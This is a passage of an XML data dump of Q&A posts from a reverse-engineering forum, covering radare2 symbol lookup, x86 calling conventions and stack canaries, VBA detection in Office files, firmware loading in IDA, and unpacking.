analysis in a virtualized environment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8158" LastActivityDate="2017-06-23T04:31:47.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15638" PostTypeId="2" ParentId="15601" CreationDate="2017-06-23T04:42:20.950" Score="2" Body="&lt;p&gt;From the provided disassembly, mana is a structure and you need to understand this structure and it's members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instruction below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0807EC41                 call    dword ptr [mana+0Ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is invoking the function with pointer stored at offset 0xC in the structure, mana.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the structure mana derived from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be inferred from the disassembly you have shared.&lt;/p&gt;&#xA;" OwnerUserId="8158" LastActivityDate="2017-06-23T04:42:20.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15639" PostTypeId="1" AcceptedAnswerId="15640" CreationDate="2017-06-23T08:00:45.593" Score="2" ViewCount="254" Body="&lt;p&gt;So, lately I've been working on a project involving malware which gets spread via MS Office documents and, among other things, I need to detect the VBA code in appropriate document streams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read most parts of the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/office/cc313094(v=office.12).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Office VBA File Format Structure&lt;/a&gt;, from which it seems to me that the correct way of detecting the beginning of the compressed code is by parsing the &lt;code&gt;dir&lt;/code&gt; stream which contains the &lt;code&gt;PROJECTMODULES Record&lt;/code&gt; and which contains the &lt;code&gt;MODULEOFFSET Record&lt;/code&gt; whose element &lt;code&gt;TextOffset&lt;/code&gt; contains the actual offset to the compressed source code inside the appropriate &lt;code&gt;ModuleStream&lt;/code&gt;. I've also found a project &lt;a href=&quot;https://github.com/unixfreak0037/officeparser&quot; rel=&quot;nofollow noreferrer&quot;&gt;officeparser&lt;/a&gt; which performs the VBA code detection in the following way, but according to the project site on Github, there hasn't been any work on the project in the last few years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've also found two other projects that deal with the same problem in a different way and which are more up to date. The projects are &lt;a href=&quot;https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;oledump&lt;/a&gt; and &lt;a href=&quot;https://github.com/decalage2/oletools/tree/master/oletools&quot; rel=&quot;nofollow noreferrer&quot;&gt;oletools&lt;/a&gt; and the way they detect the beginning of the compressed VBA code inside a stream is by searching for the pattern &lt;code&gt;\x00Attribut&lt;/code&gt; and then positioning 3 bytes back from that position. I haven't found any official documentation on this method so what I would like to know is if this method is some heuristic way of searching for the compressed code or am I missing some parts of the documentation?&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2017-06-28T00:27:03.690" Title="VBA code detection in MS office documents" Tags="|malware|file-format|vba|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15640" PostTypeId="2" ParentId="15639" CreationDate="2017-06-23T08:43:53.657" Score="2" Body="&lt;p&gt;That part of the code you referred to is for manually parsing malformed ole only if the documented(?) method didnt work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if office will open it correctly or provide a repair option (M$ is very liberal with its own specifications), but you may still want to know VBA is there even if it doesnt work 'as is'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is of course no official documentation on how the 'malformed' ole should look like :)&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="3744" LastEditDate="2017-06-23T08:58:14.490" LastActivityDate="2017-06-23T08:58:14.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15641" PostTypeId="1" CreationDate="2017-06-20T21:19:18.163" Score="3" ViewCount="112" Body="&lt;p&gt;I am trying to restore a system from backups around some obnoxious copy protection. It is a Linux system from an vendor that does not appear to comply with the GPL and has overwritten the header of their filesystem (the first 0xc000 bytes are cf23 repeating) so that you have to use their boot disk which checks for hardware that no longer is available and mostly does not work. I am fairly sure the block size is 4k (0x1000). the first filename in a directory entry seems to always be at 0x20 relative to the block. The filesystem does not appear to be encrypted as text is identifiable and readable. Standard methods of identification (file, blkid, mount -t auto) do not work. I know that reiserfs is used in some parts of the system as is ext2 and ext3. If anyone has any tips for things to look for to identify the filesystem type or pointers to lists of identifying characteristics of file systems it would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="20644" OwnerDisplayName="hildred" LastEditorUserId="13506" LastEditDate="2018-07-12T10:54:15.813" LastActivityDate="2018-07-12T10:54:15.813" Title="methods for identifying deliberately unmagiked filesystem" Tags="|linux|file-format|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15643" PostTypeId="1" AcceptedAnswerId="15646" CreationDate="2017-06-23T17:02:14.297" Score="12" ViewCount="11517" Body="&lt;p&gt;I want to find an address of a symbol (e.g &lt;code&gt;strcpy&lt;/code&gt;) inside a binary using radare2. I tried to use the &lt;code&gt;f&lt;/code&gt; command to list all flags which are recognized by r2 but the list is enormous and it's not comfortable to find the address of a specific symbol that way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way, if there's any, to do so.&lt;/p&gt;&#xA;" OwnerUserId="20654" LastEditorUserId="18698" LastEditDate="2017-06-23T17:54:10.283" LastActivityDate="2019-07-19T06:33:07.030" Title="How to find a symbol in a binary using radare2?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15644" PostTypeId="1" AcceptedAnswerId="15647" CreationDate="2017-06-23T17:09:29.650" Score="1" ViewCount="9077" Body="&lt;p&gt;I am studying some X86 code and I often see calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call sym.imp.printf&#xA;call sym.imp.scanf&#xA;call sym.imp.strcmp&#xA;call sym.imp.__stack_chk_fail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those examples are the most common calls.&#xA;But how do they actually work?&#xA;I mean, I know they are system calls, also printf along with scanf, strcmp are C functions. But my question is where do they get the parameters from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sym.imp.strcmp: where is it getting strings from to compare?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the value of scanf saved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, what does the call sym.imp.__stack_chk_fail does?&lt;/p&gt;&#xA;" OwnerUserId="19852" LastActivityDate="2017-06-24T14:39:40.357" Title="How calls work in x86" Tags="|assembly|x86|system-call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15645" PostTypeId="1" CreationDate="2017-06-23T17:20:03.640" Score="3" ViewCount="2187" Body="&lt;p&gt;I'm a total newbie with disassembly and code.  I am trying to understand how the computer in my truck works (Dodge Ram with 5.9 Cummins).  I know the vehicle control module uses a Motorola MPC555 processor and I've found the documentation containing the memory map here:&#xA;&lt;a href=&quot;http://www.nxp.com/assets/documents/data/en/product-briefs/MPC555PB.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.nxp.com/assets/documents/data/en/product-briefs/MPC555PB.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious if i'm on the right track because when i load the flash file into IDA Pro I set the processor to a motorola cpu32 since my exact processor isn't listed and skip establishing a ram which I think is incorrect.  IDA Pro also asks me to find the entry point of the bin which by this processor I assume is the reset vector address of 0x100 according to page 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cache.freescale.com/files/microcontrollers/doc/app_note/AN2109.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cache.freescale.com/files/microcontrollers/doc/app_note/AN2109.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you guys tell me if I'm way off here?  Thanks for any help you can give me.&lt;/p&gt;&#xA;" OwnerUserId="20645" LastActivityDate="2017-06-23T19:23:22.993" Title="Reverse Engineering a automotive flash file" Tags="|disassembly|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15646" PostTypeId="2" ParentId="15643" CreationDate="2017-06-23T17:24:34.710" Score="16" Body="&lt;p&gt;The &lt;code&gt;f&lt;/code&gt; command is used to list all the flags from the selected flagspace. By default all the available flagspaces are selected. In order to select the 'symbols' flagspace and list only the flags inside it, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004049a0]&amp;gt; fs symbols&#xA;[0x004049a0]&amp;gt; f&#xA;0x00402a00 261 main&#xA;0x004049a0 41 entry0&#xA;0x0061e600 8 obj.__bss_start&#xA;0x00413c8c 9 sym._fini&#xA;0x0061e610 4 obj.optind&#xA;0x004022b8 26 sym._init&#xA;0x0061e620 8 obj.program_invocation_name&#xA;0x0061e600 0 loc.__bss_start&#xA;0x0061f368 0 loc._end&#xA;0x00412960 38 sym._obstack_memory_used&#xA;0x0061e5f8 8 obj.obstack_alloc_failed_handler&#xA;0x00412780 17 sym._obstack_begin&#xA;0x0061e640 8 obj.stderr&#xA;0x004128f0 106 sym._obstack_free&#xA;0x004128c0 48 sym._obstack_allocated_p&#xA;0x0061e618 8 obj.optarg&#xA;0x004127a0 21 sym._obstack_begin_1&#xA;0x004127c0 245 sym._obstack_newchunk&#xA;0x0061e608 8 obj.stdout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, my preferred way to list all the symbols is to use the &lt;code&gt;i&lt;/code&gt; command which actually uses 'rabin2' (&lt;code&gt;man rabin2&lt;/code&gt;) to retrieve information about the binary. Use &lt;code&gt;i?&lt;/code&gt; to get help about the command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to list all the symbols run &lt;code&gt;is&lt;/code&gt;.&#xA;If you want to &quot;grep&quot; for a specific symbol use radare's internal grep &lt;code&gt;~&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004049a0]&amp;gt; is~strcpy&#xA;vaddr=0x004023c0 paddr=0x000023c0 ord=013 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.strcpy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you want only the address, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004049a0]&amp;gt; is~strcpy[1]&#xA;0x004023c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information about flags and flagspaces can be found &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;br&gt;&#xA;More information about symbols can be found &lt;a href=&quot;https://radare.gitbooks.io/radare2book/tools/rabin2/symbols.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="2506" LastEditDate="2019-07-19T06:33:07.030" LastActivityDate="2019-07-19T06:33:07.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15647" PostTypeId="2" ParentId="15644" CreationDate="2017-06-23T18:30:29.260" Score="7" Body="&lt;p&gt;&lt;strong&gt;System calls vs. function calls&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I mean, I know they are system calls, also printf along with scanf, strcmp are C functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Many C library functions are wrappers around system calls. &lt;code&gt;printf&lt;/code&gt; and &lt;code&gt;scanf&lt;/code&gt; are are examples of this. However, it should not be assumed that all C library functions execute system calls, as none of the &lt;code&gt;string.h&lt;/code&gt; library functions, including &lt;code&gt;strcmp&lt;/code&gt;,  execute any system calls.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A system call is a controlled entry point into the kernel, allowing a process to request that the kernel perform some action on the process’s behalf. The kernel makes a range of services accessible to programs via the system call application programming interface (API).&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The mechanism by which system calls are made is quite different than by that which function calls are made:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The [C library] wrapper function executes a trap machine instruction (&lt;code&gt;int 0x80&lt;/code&gt;), which causes the processor to switch from user mode to kernel mode and execute code pointed to by location &lt;code&gt;0x80&lt;/code&gt; (128 decimal) of the system’s trap vector.&lt;/p&gt;&#xA;&lt;p&gt;More recent x86-32 architectures implement the &lt;code&gt;sysenter&lt;/code&gt; instruction, which provides a faster method of entering kernel mode than the conventional int &lt;code&gt;0x80&lt;/code&gt; trap instruction. The use of &lt;code&gt;sysenter&lt;/code&gt; is supported in the 2.6 kernel and from glibc 2.3.2 onward.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here is a visual depiction of the C library function &lt;a href=&quot;http://man7.org/linux/man-pages/man2/execve.2.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;execve&lt;/code&gt;&lt;/a&gt; being executed, in which &lt;code&gt;execve&lt;/code&gt; makes a system call:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tFy5U.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tFy5U.png&quot; alt=&quot;TLPI steps in executing a system call&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;x86 calling conventions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When a function is called, flow of control branches to a different location in memory via the &lt;code&gt;call&lt;/code&gt; instruction:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Saves procedure linking information on the stack and branches to the procedure (called procedure) specified with the destination (target) operand. The target operand specifies the address of the first instruction in the called procedure. This operand can be an immediate value, a general purpose register, or a memory location.&lt;sup&gt;&lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_26.html&quot; rel=&quot;noreferrer&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here is some simple example code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0804841d &amp;lt;main&amp;gt;:&#xA; 804841d:       55                      push   %ebp&#xA; 804841e:       89 e5                   mov    %esp,%ebp&#xA; 8048420:       83 e4 f0                and    $0xfffffff0,%esp&#xA; 8048423:       83 ec 20                sub    $0x20,%esp&#xA; 8048426:       c7 44 24 18 f0 84 04    movl   $0x80484f0,0x18(%esp)&#xA; 804842d:       08 &#xA; 804842e:       c7 44 24 1c 04 00 00    movl   $0x4,0x1c(%esp)&#xA; 8048435:       00 &#xA; 8048436:       8b 44 24 18             mov    0x18(%esp),%eax&#xA; 804843a:       89 44 24 08             mov    %eax,0x8(%esp)         &amp;lt;--- argument 3&#xA; 804843e:       8b 44 24 1c             mov    0x1c(%esp),%eax&#xA; 8048442:       89 44 24 04             mov    %eax,0x4(%esp)         &amp;lt;--- argument 2&#xA; 8048446:       c7 04 24 0a 85 04 08    movl   $0x804850a,(%esp)      &amp;lt;--- argument 1&#xA; 804844d:       e8 9e fe ff ff          call   80482f0 &amp;lt;printf@plt&amp;gt;   &amp;lt;--- function call&#xA; 8048452:       b8 00 00 00 00          mov    $0x0,%eax&#xA; 8048457:       c9                      leave  &#xA; 8048458:       c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here, the memory address that execution branches to when &lt;code&gt;printf&lt;/code&gt; is called via &lt;code&gt;call&lt;/code&gt; is &lt;code&gt;0x80482f0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;But my question is where do they get the parameters from?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Arguments are pushed onto the stack in reverse order of their corresponding parameters in the function definition prior to the function call. The return value is saved in &lt;code&gt;%eax&lt;/code&gt;. This is in accordance with x86 calling convention, referred to as &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot; rel=&quot;noreferrer&quot;&gt;cdecl&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Caller Rules&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make a subrouting call, the caller should:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Before calling a subroutine, the caller should save the contents of certain registers that are designated caller-saved. The caller-saved registers are EAX, ECX, EDX. Since the called subroutine is allowed to modify these registers, if the caller relies on their values after the subroutine returns, the caller must push the values in these registers onto the stack (so they can be restore after the subroutine returns.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;To pass arguments to the subroutine, push them onto the stack before the call. The arguments should be pushed in inverted order (i.e. last argument first).&lt;/strong&gt; Since the stack grows down, the first arguments will be stored at the lowest address (this inversion of arguments was historically used to allow functions to be passed a variable number of parameters).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To call the subroutine, use the call instruction. This instruction places the return address on top of the arguments on the stack, and branches to the subroutine code. This invokes the subroutine, which should follow the callee rules below.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;After the subroutine returns (immediately following the call instruction), the caller can expect to find the return value of the subroutine in the register EAX&lt;/strong&gt;. To restore the machine state, the caller should:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove the arguments from stack. This restores the stack to its state before the call was performed.&lt;/li&gt;&#xA;&lt;li&gt;Restore the contents of caller-saved registers (EAX, ECX, EDX) by popping them off of the stack. The caller can assume that no other registers were modified by the subroutine. &lt;sup&gt;&lt;a href=&quot;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling&quot; rel=&quot;noreferrer&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For a more in-depth discussion of x86 calling conventions, refer to the x86 ABI documentation found in the &lt;a href=&quot;http://refspecs.linuxbase.org/elf/abi386-4.pdf&quot; rel=&quot;noreferrer&quot;&gt;System V Application Binary Interface Intel386 Architecture Processor Supplment, Fourth Edition&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;__stack_chk_fail&lt;/code&gt; and stack guards&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;And also, what does the call sym.imp.__stack_chk_fail does?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;__stack_chk_fail&lt;/code&gt; is called when the &lt;a href=&quot;https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries&quot; rel=&quot;noreferrer&quot;&gt;stack canary&lt;/a&gt; has been overwritten due to a buffer overflow:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The basic idea behind stack protection is to push a &amp;quot;canary&amp;quot; (a randomly chosen integer) on the stack just after the function return pointer has been pushed. The canary value is then checked before the function returns; if it has changed, the program will abort. Generally, stack buffer overflow (aka &amp;quot;stack smashing&amp;quot;) attacks will have to change the value of the canary as they write beyond the end of the buffer before they can get to the return pointer. Since the value of the canary is unknown to the attacker, it cannot be replaced by the attack. Thus, the stack protection allows the program to abort when that happens rather than return to wherever the attacker wanted it to go.&lt;sup&gt;&lt;a href=&quot;https://lwn.net/Articles/584225/&quot; rel=&quot;noreferrer&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here is some example annotated code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;000000000040055d &amp;lt;test&amp;gt;:&#xA;  40055d:   55                      push   %rbp&#xA;  40055e:   48 89 e5                mov    %rsp,%rbp&#xA;  400561:   48 83 ec 20             sub    $0x20,%rsp&#xA;  400565:   89 7d ec                mov    %edi,-0x14(%rbp)&#xA;  400568:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax     &amp;lt;- get guard variable value&#xA;  40056f:   00 00 &#xA;  400571:   48 89 45 f8             mov    %rax,-0x8(%rbp)   &amp;lt;- save guard variable on stack&#xA;  400575:   31 c0                   xor    %eax,%eax&#xA;  400577:   8b 45 ec                mov    -0x14(%rbp),%eax&#xA;  40057a:   48 8b 55 f8             mov    -0x8(%rbp),%rdx   &amp;lt;- move it to register&#xA;  40057e:   64 48 33 14 25 28 00    xor    %fs:0x28,%rdx     &amp;lt;- check it against original&#xA;  400585:   00 00 &#xA;  400587:   74 05                   je     40058e &amp;lt;test+0x31&amp;gt;&#xA;  400589:   e8 b2 fe ff ff          callq  400440 &amp;lt;__stack_chk_fail@plt&amp;gt; &#xA;  40058e:   c9                      leaveq &#xA;  40058f:   c3                      retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;sub&gt;1. The Linux Programming Interface, Chapter 3 &amp;quot;System Programming Concepts&amp;quot;&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;2. &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_26.html&quot; rel=&quot;noreferrer&quot;&gt;x86 Instruction Set Reference - CALL&lt;/a&gt; - c9x.me&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;3. &lt;a href=&quot;http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling&quot; rel=&quot;noreferrer&quot;&gt;x86 Assembly Guide&lt;/a&gt; - University of Virginia Computer Science&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;4. &lt;a href=&quot;https://lwn.net/Articles/584225/&quot; rel=&quot;noreferrer&quot;&gt;&amp;quot;Strong&amp;quot; stack protection for GCC&lt;/a&gt; - LWN.net&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-06-24T14:39:40.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15649" PostTypeId="2" ParentId="15645" CreationDate="2017-06-23T19:23:22.993" Score="1" Body="&lt;p&gt;Well, there are two main issues here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, even though PPC555 was made by Motorola, it did not use the 68000-derivative CPU32 core but the co-developed with IBM PowerPC core (I think at one point Motorola called it RCPU32, probably to further confuse people). So you should select &quot;ppc&quot; processor instead of CPU32 to get proper disassembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, raw firmware files do not have any metadata which would tell IDA where is the code and where's data. So it may try to scan for possible instructions in the whole file and convert some of them to code if they seem legit. In your case it did find some functions but apparently the bytes around the reset vector looked a bit iffy so it converted them to data instead. This is easy to fix though - just undefine (U) wrong data and create code (C) at the correct location. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-06-23T19:23:22.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15652" PostTypeId="2" ParentId="15242" CreationDate="2017-06-23T23:56:46.840" Score="1" Body="&lt;p&gt;The AsPackDie by Yoda is sample tool for unpack automatic AsPack .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't seen this error in the ollydbg about aspack but I think:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You don't stay on real OEP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And you can dump with LordPE dont use ollydump it can help you understand the problem from ollydbg or your do.&lt;/p&gt;&#xA;" OwnerUserId="13493" LastActivityDate="2017-06-23T23:56:46.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15653" PostTypeId="5" CreationDate="2017-06-24T07:51:39.643" Score="0" Body="&lt;p&gt;Use this tag when referring to a true .EXE file as opposed to a .COM or .MSI or any other executable.&lt;/p&gt;&#xA;" OwnerUserId="18580" LastEditorUserId="18580" LastEditDate="2017-06-24T18:14:57.493" LastActivityDate="2017-06-24T18:14:57.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15654" PostTypeId="4" CreationDate="2017-06-24T07:51:39.643" Score="0" Body="Use this tag when referring to a true .EXE file as opposed to a .COM or .MSI or any other executable." OwnerUserId="18580" LastEditorUserId="18580" LastEditDate="2017-06-24T18:15:05.193" LastActivityDate="2017-06-24T18:15:05.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15655" PostTypeId="5" CreationDate="2017-06-24T07:54:06.860" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Component_Object_Model&quot; rel=&quot;nofollow noreferrer&quot;&gt;Component Object Model&lt;/a&gt; is a binary-interface standard for software components introduced by Microsoft in 1993. COM is the basis for several other Microsoft technologies and frameworks, including OLE, OLE Automation, Browser Helper Object, ActiveX, COM+, DCOM, the Windows Shell, DirectX, UMDF and Windows Runtime.&lt;/p&gt;&#xA;" OwnerUserId="18580" LastEditorUserId="60" LastEditDate="2017-06-24T18:25:28.997" LastActivityDate="2017-06-24T18:25:28.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15656" PostTypeId="4" CreationDate="2017-06-24T07:54:06.860" Score="0" Body="Use this tag for questions on Component Object Model or ActiveX. For DOS .COM files, use dos-com instead.&#xD;&#xA;" OwnerUserId="18580" LastEditorUserId="60" LastEditDate="2017-06-24T18:22:53.660" LastActivityDate="2017-06-24T18:22:53.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15657" PostTypeId="1" CreationDate="2017-06-24T16:37:59.513" Score="1" ViewCount="1069" Body="&lt;p&gt;I have a assembly dump from a MSP430 binary in a normal ascii text file as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;46f4 &amp;lt;strcpy&amp;gt;&#xA;46f4:  0d4f           mov   r15, r13&#xA;46f6:  023c           jmp   #0x46fc &amp;lt;strcpy+0x8&amp;gt;&#xA;46f8:  1e53           inc   r14&#xA;46fa:  1d53           inc   r13&#xA;46fc:  6c4e           mov.b @r14, r12&#xA;46fe:  cd4c 0000      mov.b r12, 0x0(r13)&#xA;4702:  4c93           tst.b r12&#xA;4704:  f923           jnz   #0x46f8 &amp;lt;strcpy+0x4&amp;gt;&#xA;4706:  3041           ret&#xA;4708 &amp;lt;_unexpected_&amp;gt;&#xA;4708:  0013           reti  pc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Ida Pro Free, how can I &quot;upload&quot; a binary dump of this format so I can use IDA's flow graphs, visual aids, etc. I realized it's already dissasembled but I still want to use the features IDA Pro free offers.&lt;/p&gt;&#xA;" OwnerUserId="20587" LastEditorUserId="20587" LastEditDate="2017-06-24T17:04:59.277" LastActivityDate="2017-07-24T18:12:17.073" Title="MSP430 - IDA Pro Free Binary Dump" Tags="|ida|disassemblers|risc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15658" PostTypeId="2" ParentId="15657" CreationDate="2017-06-24T17:47:33.397" Score="1" Body="&lt;p&gt;IDA Free does not support MSP430 (only x86) and neither can it load plain binary files. You need the full version of IDA (Starter or Pro) to do either.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-06-24T17:47:33.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15659" PostTypeId="5" CreationDate="2017-06-24T18:26:43.207" Score="0" Body="" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-06-24T18:26:43.207" LastActivityDate="2017-06-24T18:26:43.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15660" PostTypeId="4" CreationDate="2017-06-24T18:26:43.207" Score="0" Body="use for questions related to Visual Basic Automation (commonly used for scripting/macros in Microsoft Office Products)" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-06-24T18:26:43.207" LastActivityDate="2017-06-24T18:26:43.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15662" PostTypeId="2" ParentId="15600" CreationDate="2017-06-25T09:26:29.523" Score="1" Body="&lt;p&gt;You could create a struct of pointers and initialise them at run time.  In some cases it might also be possible to alias to arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If using a padded struct, be careful of compiler alignment of the fields.&lt;/p&gt;&#xA;" OwnerUserId="12778" LastActivityDate="2017-06-25T09:26:29.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
